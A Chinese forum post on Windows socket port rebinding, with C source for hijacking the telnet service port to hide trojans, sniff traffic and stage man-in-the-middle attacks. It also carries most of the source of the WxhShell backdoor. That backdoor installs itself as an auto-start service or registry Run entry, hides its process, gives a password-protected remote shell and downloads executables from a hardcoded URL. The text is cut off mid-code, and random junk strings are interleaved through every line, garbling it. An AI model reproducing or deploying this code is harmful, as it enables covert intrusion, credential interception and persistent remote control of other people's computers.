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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fibudkg'>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 40`Qsv0#  
+e*C`uP!  
  saddr.sin_family = AF_INET; J?dz>3Rhx9  
FW;}S9u3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -:'%YHxX  
NT5##XOB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )F&.0 '  
|@1(^GX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0g=vMLi  
2_3os P\Z  
  这意味着什么?意味着可以进行如下的攻击: v5pkP  
GhcH"D%-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PZ'|)  
TJW8l[M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *HHL a  
[:(O`#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K re*~ "  
eFf9T@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5izpQ'>  
we!w5./Xm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o$%KbfXO]  
)=#Js<&3:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AX6:*aZB  
ecH7")  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Kf(Px%G6K  
U,T#{  
  #include iR{@~JN=)  
  #include 4G;KT~Cgb  
  #include |T"j7  
  #include    JzCkVF$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZrNH:Z:5  
  int main() 3Rsrb  
  { :(/1,]bF  
  WORD wVersionRequested; L>WxAeyu1K  
  DWORD ret; Bfdfw +  
  WSADATA wsaData; _7;G$\^&.  
  BOOL val; LX&O"YY  
  SOCKADDR_IN saddr; yil5 aUA  
  SOCKADDR_IN scaddr; A/}[Z\C  
  int err; s m G?y~  
  SOCKET s; TxN+-< f  
  SOCKET sc; WL'!M&h  
  int caddsize; dQ_'8 )  
  HANDLE mt; N M),2%<  
  DWORD tid;   hSAI G  
  wVersionRequested = MAKEWORD( 2, 2 ); s[UV(::E  
  err = WSAStartup( wVersionRequested, &wsaData ); hR2 R  
  if ( err != 0 ) { cw)J+Lyh  
  printf("error!WSAStartup failed!\n"); FqnD"]A  
  return -1; + `'wY?  
  } U+4[w`a}  
  saddr.sin_family = AF_INET; ]goV Q'Y  
   8p}z~\J{a:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3d1xL+  
d Efk~V\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]c 'EJu  
  saddr.sin_port = htons(23); ']c;$wP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iK1{SgXrFI  
  { 5"!K8 N  
  printf("error!socket failed!\n"); z52F-<  
  return -1; (;9fkqm%m  
  } K%t&a RjS  
  val = TRUE; +"WNG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A(BjU:D(Oj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TPkP5w  
  { A~k: m0MX  
  printf("error!setsockopt failed!\n"); 7TypzgXNe  
  return -1;  vmfFR  
  } [4B (rra  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vfhoN]v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $/JXI?K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P@5-3]m=  
r]QeP{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F/j ; q  
  { qQo*:3/];  
  ret=GetLastError(); +9t{ovF?L  
  printf("error!bind failed!\n"); YbWz!.WPe  
  return -1; `-b{|a J  
  } F >n_k  
  listen(s,2); Y4,p_6aKJ]  
  while(1) _Fv6S}~Q  
  { Oo(xYy  
  caddsize = sizeof(scaddr); NL-PQ%lUA  
  //接受连接请求 "la0@/n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :*|So5fs  
  if(sc!=INVALID_SOCKET) .Q@]+&`|}i  
  { F>[^m Xw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RCK*?\m5  
  if(mt==NULL) " ? V;C  
  { 4-'0# a  
  printf("Thread Creat Failed!\n"); m%"=sX7/9  
  break; =Bh,>Kg  
  } G$Fo*;Fl  
  } Jzy:^PObT  
  CloseHandle(mt); $SFreyI;Uf  
  } ]eFNR1<OP  
  closesocket(s); km lb,P  
  WSACleanup(); a #p`l>rx  
  return 0; =bvLMpa  
  }   qf [J-"o  
  DWORD WINAPI ClientThread(LPVOID lpParam) vt(n: Xk  
  { PT&qys 2k  
  SOCKET ss = (SOCKET)lpParam; @&Yl'&pn-R  
  SOCKET sc; !>K=@9NC|.  
  unsigned char buf[4096]; Dp} $q`F[  
  SOCKADDR_IN saddr; ~\u>jel  
  long num; Z~|%asjFE  
  DWORD val; ~e){2_J&n  
  DWORD ret; yC|odX#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w`#9Re  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UA0( cK  
  saddr.sin_family = AF_INET; k4:=y9`R}$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bsI?=lO  
  saddr.sin_port = htons(23); YVz,P_\(m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SST@   
  { 1O)m(0tb[  
  printf("error!socket failed!\n"); %JA^b5''  
  return -1; !|ic{1!_  
  } 5Go@1X]I  
  val = 100; wb]Z4/j#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SEZ08:>x r  
  { irB}h!@  
  ret = GetLastError(); ]`h@[fYge  
  return -1; %5Elj<eHZ  
  } d1*0?GTT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4}YHg&@\d%  
  { O=!EqaExW  
  ret = GetLastError(); LR"7e  
  return -1; &oK&vgcj  
  } }1sd<<\`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) su8()]|0x  
  { [e:ccm  
  printf("error!socket connect failed!\n"); [,z>msEB.  
  closesocket(sc); l]IQjjJ`  
  closesocket(ss); {;JFoe+  
  return -1; *tDxwD7  
  }  .^rs VNG  
  while(1) =`V9{$i  
  { akgvV~5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +~lPf.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MP Q?Q]'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L N'})CI8m  
  num = recv(ss,buf,4096,0); WO+>W+|N  
  if(num>0) (|y@ ftr@  
  send(sc,buf,num,0); `n e9&+  
  else if(num==0) /9-kG  
  break; DPl&e-`  
  num = recv(sc,buf,4096,0); _]+ \ B  
  if(num>0) }.<]A  
  send(ss,buf,num,0); s8r[U, }(  
  else if(num==0) }\ya6Gi8  
  break; N&Uqzt*  
  } 5VLC\QgK^  
  closesocket(ss); 6:G ::"ew  
  closesocket(sc); 7zXX& S  
  return 0 ; h~&5;  
  } DwXSlsN3v  
(xBWxeL~  
k]A$?C0Q<%  
========================================================== {r?Ly15  
Bjb8#n04  
下边附上一个代码,,WXhSHELL BUla2p  
95tHi re  
========================================================== ::Di  
P"+K'B7K3  
#include "stdafx.h" QUc&f+~  
nN[QUg  
#include <stdio.h> _w9 :([_  
#include <string.h>  }_?FmuU  
#include <windows.h> gBXbB9  
#include <winsock2.h> Gii1|pLZ1  
#include <winsvc.h> x.U:v20`  
#include <urlmon.h> w"E.Va  
?)/&tk9.n  
#pragma comment (lib, "Ws2_32.lib") \ 3l3,VYH  
#pragma comment (lib, "urlmon.lib") <\\,L@  
.W0;Vhw"  
#define MAX_USER   100 // 最大客户端连接数 *U|2u+| F  
#define BUF_SOCK   200 // sock buffer <%LN3T  
#define KEY_BUFF   255 // 输入 buffer I h 19&D  
"nn>I}jK  
#define REBOOT     0   // 重启 hr GfA  
#define SHUTDOWN   1   // 关机 (#r>v h(  
9J f.Ls  
#define DEF_PORT   5000 // 监听端口 <\5E{/7Tl  
:c&F\Q=  
#define REG_LEN     16   // 注册表键长度 pQBhheiM  
#define SVC_LEN     80   // NT服务名长度 9%bqY9NFd  
W}>wRy  
// 从dll定义API { Em fw9L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +{ {'3=x9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *JY2vq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aK'%E3!~=x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8$6^S{M3  
!K_ ke h  
// wxhshell配置信息 7|pF (sb0  
struct WSCFG { EY.Z.gMZI(  
  int ws_port;         // 监听端口 @ u2 P&|:{  
  char ws_passstr[REG_LEN]; // 口令 |(UkI?V  
  int ws_autoins;       // 安装标记, 1=yes 0=no !XrnD#  
  char ws_regname[REG_LEN]; // 注册表键名 fGDjX!3-S  
  char ws_svcname[REG_LEN]; // 服务名 *Zk$P.]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H=>;M j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xx=c'j<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :|E-Dx4F6H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P }$DCD<$U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZklZU,\!|v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0HS"Oxx'  
>=3ay^(Y2D  
}; CB%O8d #  
p?4h2`P  
// default Wxhshell configuration $@4(Lq1.  
struct WSCFG wscfg={DEF_PORT, uSn<]OrZo`  
    "xuhuanlingzhe", dfA4OZ&  
    1, $_0~Jzt,  
    "Wxhshell", Ni) /L( &  
    "Wxhshell", >KnXj7  
            "WxhShell Service", #~@Cl9[)D  
    "Wrsky Windows CmdShell Service", <+${gu?^  
    "Please Input Your Password: ", @m(ja@YC  
  1, ;kiL`K  
  "http://www.wrsky.com/wxhshell.exe", lG!We'?  
  "Wxhshell.exe" `F TA{ba  
    }; q.g0Oz@ z  
*mj3  T  
// 消息定义模块 N13wVx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j= Ebk;6p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N\WEp?%~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j?cE0 hz  
char *msg_ws_ext="\n\rExit."; |c5r&oM&m  
char *msg_ws_end="\n\rQuit."; dd@-9?6M  
char *msg_ws_boot="\n\rReboot..."; !Won<:.[0  
char *msg_ws_poff="\n\rShutdown..."; Lb%Wz*Fa%!  
char *msg_ws_down="\n\rSave to "; uS,XQy2  
K#<cuHGC  
char *msg_ws_err="\n\rErr!"; ]2o?Gnn@  
char *msg_ws_ok="\n\rOK!"; lQnqPQY  
B&k"B?9mL  
char ExeFile[MAX_PATH]; /qX=rlQ/n  
int nUser = 0; eZ[O:Wvk:  
HANDLE handles[MAX_USER]; ~xaPq=AH  
int OsIsNt; o+T %n1$+V  
8<Yqpb  
SERVICE_STATUS       serviceStatus; HOrD20  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nq"U`z@R  
0h",.  
// 函数声明 9H4NvB{  
int Install(void); 7Eett)4  
int Uninstall(void); xxC2F:Q?U  
int DownloadFile(char *sURL, SOCKET wsh); kw Iw=8q~  
int Boot(int flag); ?3{:[*  
void HideProc(void); ] M#OS$_O@  
int GetOsVer(void); j* \gD  
int Wxhshell(SOCKET wsl); zw,=mpf3_  
void TalkWithClient(void *cs); V]$J&aD  
int CmdShell(SOCKET sock); vfZ.js/  
int StartFromService(void); D 4fHNk)kZ  
int StartWxhshell(LPSTR lpCmdLine); 8KrqJN0\  
ekx~svcC&A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \9}RAr#2]N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i[d@qp!H=  
F 7~T=X)1  
// 数据结构和表定义 BLs kUrPF  
SERVICE_TABLE_ENTRY DispatchTable[] = @z!|HLD+  
{ :CJ]^v   
{wscfg.ws_svcname, NTServiceMain}, [ym ynr3M  
{NULL, NULL} b _#r_`  
};  !xz0zT.  
]NrA2i?  
// 自我安装 .Q^8 _'ZG  
int Install(void) 0pu=,  
{ cK(S{|F  
  char svExeFile[MAX_PATH]; CHPu$eu  
  HKEY key; C VyE5w  
  strcpy(svExeFile,ExeFile); vw/L|b7G  
[Q5>4WY  
// 如果是win9x系统,修改注册表设为自启动 tEXY>=  
if(!OsIsNt) { Ckc4U. t|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AvS<b3EoN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k&h3"  
  RegCloseKey(key); Y={_o!9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `"* ]C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ClvqI"Rd  
  RegCloseKey(key); L)`SNN\ipR  
  return 0; wZ_k]{J  
    } QC+K:jL  
  }  ;Iu}Q-b*  
} ,J3s1 ]~^  
else { <.yL&$9  
yRt>7'@X  
// 如果是NT以上系统,安装为系统服务 %3r`EIB6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nr t3wqJ  
if (schSCManager!=0) r(#]Z   
{ 9+o`/lk1  
  SC_HANDLE schService = CreateService wNX2*   
  ( #o]/&T=N=  
  schSCManager, Ur/+nL{  
  wscfg.ws_svcname,  @{|vW  
  wscfg.ws_svcdisp, lSu\VCG  
  SERVICE_ALL_ACCESS, B]o5 HA<k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2# y!(D8  
  SERVICE_AUTO_START, V"T48~Ue  
  SERVICE_ERROR_NORMAL, j(|9>J*,~G  
  svExeFile, /Dl{I7W   
  NULL,  XAb!hc   
  NULL, >)sB# <e  
  NULL, TzJp3  
  NULL, pS vqGJU3  
  NULL 4._ U  
  ); pW>?%ft.  
  if (schService!=0) y)B>g/Hoh  
  { *)6:yn  
  CloseServiceHandle(schService); O~1vX9  
  CloseServiceHandle(schSCManager); eiJ 13`T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )S;pYVVAl  
  strcat(svExeFile,wscfg.ws_svcname); l".LtUf-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ob"48{w$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l*`2 EJ  
  RegCloseKey(key); MY[QYBkn}  
  return 0; ?IWLH-fkP  
    } Sl?@c/Ng  
  } YF]W<ZpY  
  CloseServiceHandle(schSCManager); k_^| %xJ  
} 7vRFF@eq}  
} t3dvHU&Z:  
ve [*t`  
return 1; GRt1]%l#$  
} <]jKpJ{3N  
#@*;Y(9Ol  
// 自我卸载  9z9EK'g  
int Uninstall(void) w[bhm$SX]B  
{ c%N8|!e  
  HKEY key; P}AfXgr  
-f+U:/'.>v  
if(!OsIsNt) { ,'KQFC   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <u 'q._m  
  RegDeleteValue(key,wscfg.ws_regname); _h=kjc}[.O  
  RegCloseKey(key); U49#?^?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { am$-1+iX  
  RegDeleteValue(key,wscfg.ws_regname); ^"g # !  
  RegCloseKey(key); =%}++7#  
  return 0; uTemAIp $u  
  } YhVV~bvz*  
} VOj{&O2c  
} l Wa4X#~.  
else { K|n$-WDG}  
^WZcM#~TL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |)7dh B  
if (schSCManager!=0) /n9yv  
{ zj?^,\{A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =sR]/XSK  
  if (schService!=0) QL<uQ`>(  
  { }3"FQ/6C  
  if(DeleteService(schService)!=0) {  o IUjd  
  CloseServiceHandle(schService); bR6g^Yf  
  CloseServiceHandle(schSCManager); -27uh  
  return 0; ranLHm.nB  
  } VeJM=s.y7  
  CloseServiceHandle(schService); w}OJ2^  
  } ~(BvI zzD  
  CloseServiceHandle(schSCManager); ]7*Z'E  
} lO Rym:P  
} ^sWsP`DV  
9q ##)  
return 1; !zd]6YL$  
} {iyO96YI[^  
M=mzl750M  
// 从指定url下载文件 &m>yY{ be  
int DownloadFile(char *sURL, SOCKET wsh) TTJFF\$?  
{ m_ |:tU(t  
  HRESULT hr; VUo7Evc:.P  
char seps[]= "/"; _o 2pyV&  
char *token; kiW|h)w_,v  
char *file; ]/o0p  
char myURL[MAX_PATH]; MQ9Nn|4  
char myFILE[MAX_PATH]; t3~ZGOn  
bD&^-& G  
strcpy(myURL,sURL); Qj?qWVapA  
  token=strtok(myURL,seps); -FAAP&LG  
  while(token!=NULL) I$#B#w?!$r  
  { 0X`sQNx  
    file=token; }\9elVt'2  
  token=strtok(NULL,seps); Zd~l_V f  
  } ] Q 'Ed  
+}XFkH~  
GetCurrentDirectory(MAX_PATH,myFILE); Ddf7wszW  
strcat(myFILE, "\\"); )9^0Qk' ]  
strcat(myFILE, file); i.|zKjF'  
  send(wsh,myFILE,strlen(myFILE),0); '^T Q Ubw  
send(wsh,"...",3,0); peA}/Jc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZQZBap"  
  if(hr==S_OK) Po%+:0oX  
return 0; @_gCGI>Q  
else [r_YQ*+ej  
return 1; A]z~Dw3  
{Hv/|.),hu  
} M@G <I]\  
^yO+-A2zC  
// 系统电源模块 X&B2&e;  
int Boot(int flag) $_j\b4]%  
{ qdlz#-B  
  HANDLE hToken; .,)C^hs@  
  TOKEN_PRIVILEGES tkp; Dlc=[kf9  
z!z+E%H^  
  if(OsIsNt) { (&2 5 8i,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {^r8uKo:~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'nK(cKDIG  
    tkp.PrivilegeCount = 1; WBo|0(#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .>5KwEK~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7*!h:rg  
if(flag==REBOOT) { xq?9w$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;1S~'B&1Q  
  return 0; Mr5E\~K>s  
} @~4Q\^;NX  
else { e?Pzhh a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 A/[x $q  
  return 0; ,rvw E  
} S%h[e[[fST  
  } j k%MP6  
  else { j{.P'5e@pZ  
if(flag==REBOOT) { $VWeo#b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #].n0[  
  return 0; R]0p L   
} aV^wTs#2I  
else { 8Z=d+}Gg<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) //SH=>w2  
  return 0; ]h(}%fk_  
} T-0[P;  
} g4NxNjM;  
}U)g<Kzh  
return 1; >L\>Th{o  
} =}:9y6QR.  
Y9b|lP7!  
// win9x进程隐藏模块 uQ^r1 $#  
void HideProc(void) ^E)Kse.>  
{ a3&&7n  
2"31k2H[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y"|QY!fK  
  if ( hKernel != NULL ) <<43 'N+  
  { nqG9$!k^t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C'HW`rh.^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #=tWjInm  
    FreeLibrary(hKernel); qIbp0`m  
  } 0P(U^rkR~  
/H_,1Fu|  
return; ~16QdwK  
} TM|M#hMS  
K`=O!;  
// 获取操作系统版本 7Z-'@m  
int GetOsVer(void) ? o@5PL  
{  E*[dc  
  OSVERSIONINFO winfo; 8PQn=k9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~m ,xG  
  GetVersionEx(&winfo); zp"Lp>i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )!h(oR  
  return 1; `rt  
  else |5uvmK  
  return 0; 0mJvoz\j8  
} K;%P_f/KJP  
L5%t.7B  
// 客户端句柄模块 m/,.3v  
int Wxhshell(SOCKET wsl) @ ;%+Ms  
{ Eei"baw/  
  SOCKET wsh; nXgnlb=  
  struct sockaddr_in client; Vej [wY-c  
  DWORD myID; Fai_v{&?  
d|GQZAEJEt  
  while(nUser<MAX_USER) p.{M sn  
{ p2]@yE7w  
  int nSize=sizeof(client); fj2pD Cic  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /}G+PUk7  
  if(wsh==INVALID_SOCKET) return 1; M2K{{pGJ[&  
E5a1 7ra  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q=NI}k  
if(handles[nUser]==0) i/ED_<_ Vg  
  closesocket(wsh); 0GUm~zi1  
else \8Mn[G9TL  
  nUser++; @Q!Jzw#B  
  } pGQP9r%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MAhJ>qe8 p  
k[TVu5R  
  return 0; ;7id![KI4  
} ^SP/&w<c  
grvm2`u  
// 关闭 socket (G:A^z  
void CloseIt(SOCKET wsh) ?xftr(  
{ EV1x"}D A_  
closesocket(wsh); -^ )0c  
nUser--; y v6V1gK  
ExitThread(0); RrFq"  
} Rne#z2Ok  
8v$ 2*$  
// 客户端请求句柄 XJx$HM&0M  
void TalkWithClient(void *cs) $uw[X  
{ )e#KL$B)v  
 =fJDFg  
  SOCKET wsh=(SOCKET)cs; $]V,H"  
  char pwd[SVC_LEN]; PUt\^ke  
  char cmd[KEY_BUFF]; &|/@;EA$8  
char chr[1]; 4o+SSS  
int i,j; RJpH1XQ j  
O$Wi=5  
  while (nUser < MAX_USER) { T:v.]0l~  
"I[a]T}/  
if(wscfg.ws_passstr) { ^$8@B]*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bsfYz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  {{hp;&x  
  //ZeroMemory(pwd,KEY_BUFF); kF%EJuu  
      i=0; U_s3)/'  
  while(i<SVC_LEN) { MQs!+Z"m>  
#Tc]L<."  
  // 设置超时 8fV.NCyE  
  fd_set FdRead; @vsgmz  
  struct timeval TimeOut; nWfzwXP>_  
  FD_ZERO(&FdRead); #'poDX?  
  FD_SET(wsh,&FdRead); z\S#P|;  
  TimeOut.tv_sec=8; oRf.34  
  TimeOut.tv_usec=0; F52%og~N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zD#$]?@ b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `SFA`B)[5@  
AcZ{B<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QO1pwrX<  
  pwd=chr[0]; dTV4 Q`Z  
  if(chr[0]==0xd || chr[0]==0xa) { F$L2bgQR?'  
  pwd=0; k#eH Q!  
  break; &zuPt5G|  
  } LtIR)EtB]  
  i++; #Hn<4g"AjM  
    } r6.`9  
 H7`JqS  
  // 如果是非法用户,关闭 socket [Lck55V+Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xq6 eu 9   
} &a;{ed1B  
Ro}7ERA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~]sj.>P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nt 9LBea  
)b%t4~7  
while(1) { ^T?zR7r  
KT5amct  
  ZeroMemory(cmd,KEY_BUFF); lN(|EI  
OD@k9I[  
      // 自动支持客户端 telnet标准   hgYi ,e  
  j=0; 0V RV. Ml  
  while(j<KEY_BUFF) { jHPkfwfAF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^}w@&Bje  
  cmd[j]=chr[0]; (:(Im k;9  
  if(chr[0]==0xa || chr[0]==0xd) { Yvi.l6JL  
  cmd[j]=0; ^Z |WD!>`  
  break; -dto46X  
  } Wg!<V6}  
  j++; <E2n M,  
    } {yzo#"4Oy  
 YW14X  
  // 下载文件 x?"+Or.h  
  if(strstr(cmd,"http://")) { &@v&5EXOw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ut*sx9l  
  if(DownloadFile(cmd,wsh)) g=gM}`X%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /"J3hSR  
  else ]$7yB3S,B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +6~y1s/B[  
  } ;s$,}O.  
  else { s![Di  
(DIMt-wz  
    switch(cmd[0]) { whW% c8  
  ts:YJAu+F  
  // 帮助 Jkx_5kk/\  
  case '?': { 3wYhDxY1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g[c_rty  
    break; |j2$G~B6  
  } K^5f  
  // 安装 }R9>1u}6  
  case 'i': { e0"80"D  
    if(Install()) ]lqe,>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (v,g=BS,  
    else !MyCxM6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9cIKi#Bl  
    break; p!o?2Lbiw  
    } F(; =^w  
  // 卸载 L eu93f2  
  case 'r': { &cpqn2Z  
    if(Uninstall()) L^FQ|?*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%q)}$O  
    else <#ng"1J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cU|tG!Ij?  
    break; 1CR)1H  
    } F"^/R  
  // 显示 wxhshell 所在路径 f-BPT2U+  
  case 'p': { T;M4NGmvd  
    char svExeFile[MAX_PATH]; TFZxk  
    strcpy(svExeFile,"\n\r"); FyhLMW3  
      strcat(svExeFile,ExeFile); oWLv-{08  
        send(wsh,svExeFile,strlen(svExeFile),0); jmBsPSGIC  
    break; X( )yhe_  
    } ~]Weyb[ N  
  // 重启 ["H2H rI2  
  case 'b': { oFi_ op  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D &Bdl5g  
    if(Boot(REBOOT)) Vv&GyqoO]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gSk0#Jt  
    else { Kgw, ]E&7  
    closesocket(wsh); XS(Q)\"  
    ExitThread(0); `]I p`_{  
    } r>lo@e0G  
    break; c$8M}q:X  
    } bO'?7=SC  
  // 关机 Rd;^ fBx  
